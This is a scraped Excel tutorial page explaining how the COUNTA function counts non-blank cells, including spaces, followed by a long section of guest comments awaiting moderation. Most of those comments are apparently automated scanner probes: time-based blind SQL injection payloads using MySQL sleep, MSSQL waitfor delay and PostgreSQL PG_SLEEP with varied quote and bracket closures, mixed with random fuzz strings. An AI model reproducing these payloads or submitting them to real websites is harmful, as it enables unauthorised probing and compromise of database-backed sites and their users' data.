Get instant live expert help with Excel or Google Sheets
“My Excelchat expert helped me in less than 20 minutes, saving me what would have been 5 hours of work!”

#### Post your problem and you'll get expert help in seconds

Your message must be at least 40 characters
Our professional experts are available now. Your privacy is guaranteed.

# How to Use COUNTA to Count Non-Blank Cells

Excel allows a user to count all cells that contain any value, by using the COUNTA function.  The function takes in count texts, numbers, spaces, results of other function, etc. This step by step tutorial will assist all levels of Excel users in counting non-blank cells in a range.

Figure 1. The result of the COUNTA function

## Syntax of the COUNTA Formula

The generic formula for the COUNTA function is:

`=COUNTA(range)`

The parameter of the COUNTA function is:

• range – a range of cells where we want to count non-blank cells.

## Counting Non-Blank Cells Using the COUNTA Function

In our example, we want to count all non-blank cells in the range B3:B10. In the cell B8, we put a space. In the cell B9, there is the formula which returns a space as a result. The formula looks like:

`=COUNTA(B3:B10)`

The parameter range is B3:B10, while in the cell D3 we want to get a result of the COUNTA function.

To apply the COUNTA function, we need to follow these steps:

• Select cell D3 and click on it
• Insert the formula: `=COUNTA(B3:B10)`
• Press enter

Figure 2. Using the COUNTA function to count non-blank cells in the range

There are 5 names in the range and also two spaces. Because of that, the result of the function in the cell D3 is 7.

## Notes

The function takes in the count all cells that are not blank. This includes spaces, which can’t be seen in the range.

Most of the time, the problem you will need to solve will be more complex than a simple application of a formula or function. If you want to save hours of research and frustration, try our live Excelchat service! Our Excel Experts are available 24/7 to answer any Excel question you may have. We guarantee a connection within 30 seconds and a customized solution within 20 minutes.

### Did this post not answer your question? Get a solution from connecting with the expert.

Guest
WymSkPhN

1

Comment awaiting moderation

Guest
WymSkPhN

IL8zO7Ro

Comment awaiting moderation

Guest
Gte9nY5y

1

Comment awaiting moderation

Guest
if(now()=sysdate(),sleep(15),0)

1

Comment awaiting moderation

Guest
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

Comment awaiting moderation

Guest
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

Comment awaiting moderation

Guest
(select(0)from(select(sleep(15)))v)/*' (select(0)from(select(sleep(15)))v) '" (select(0)from(select(sleep(15)))v) "*/

1

Comment awaiting moderation

Guest
1 waitfor delay '0:0:15' --

1

Comment awaiting moderation

Guest
6FBEYhux'; waitfor delay '0:0:15' --

1

Comment awaiting moderation

Guest
6j5mwzdh') OR 977=(SELECT 977 FROM PG_SLEEP(15))--

1

Comment awaiting moderation

Guest
CL33TcNg')) OR 81=(SELECT 81 FROM PG_SLEEP(15))--

1

Comment awaiting moderation

Guest

1

Comment awaiting moderation

Guest
wUmrLVWz

1

Comment awaiting moderation

Guest
wUmrLVWz

HZffkVbX

Comment awaiting moderation

Guest
wUmrLVWz

if(now()=sysdate(),sleep(15),0)

Comment awaiting moderation

Guest
wUmrLVWz

0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

Comment awaiting moderation

Guest
wUmrLVWz

0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

Comment awaiting moderation

Guest
wUmrLVWz

-1; waitfor delay ‘0:0:15’ —

Comment awaiting moderation

Guest
wUmrLVWz

-1); waitfor delay ‘0:0:15’ —

Comment awaiting moderation

Guest
wUmrLVWz

1 waitfor delay ‘0:0:15’ —

Comment awaiting moderation

Guest
wUmrLVWz

NLtgjR2g’; waitfor delay ‘0:0:15’ —

Comment awaiting moderation

Guest
wUmrLVWz

-5 OR 489=(SELECT 489 FROM PG_SLEEP(15))–

Comment awaiting moderation

Guest
wUmrLVWz

-5) OR 524=(SELECT 524 FROM PG_SLEEP(15))–

Comment awaiting moderation

Guest
wUmrLVWz

-1)) OR 670=(SELECT 670 FROM PG_SLEEP(15))–

Comment awaiting moderation

Guest
wUmrLVWz

xo9OcWjU’ OR 358=(SELECT 358 FROM PG_SLEEP(15))–

Comment awaiting moderation

Guest
wUmrLVWz

pdYO6STv’) OR 146=(SELECT 146 FROM PG_SLEEP(15))–

Comment awaiting moderation

Guest
wUmrLVWz

KClTAuY8′)) OR 229=(SELECT 229 FROM PG_SLEEP(15))–

Comment awaiting moderation

Guest
wUmrLVWz

Comment awaiting moderation

Guest
wUmrLVWz

Comment awaiting moderation

Guest
ihEkknJx

1

Comment awaiting moderation

Guest
Anonymous

1

Comment awaiting moderation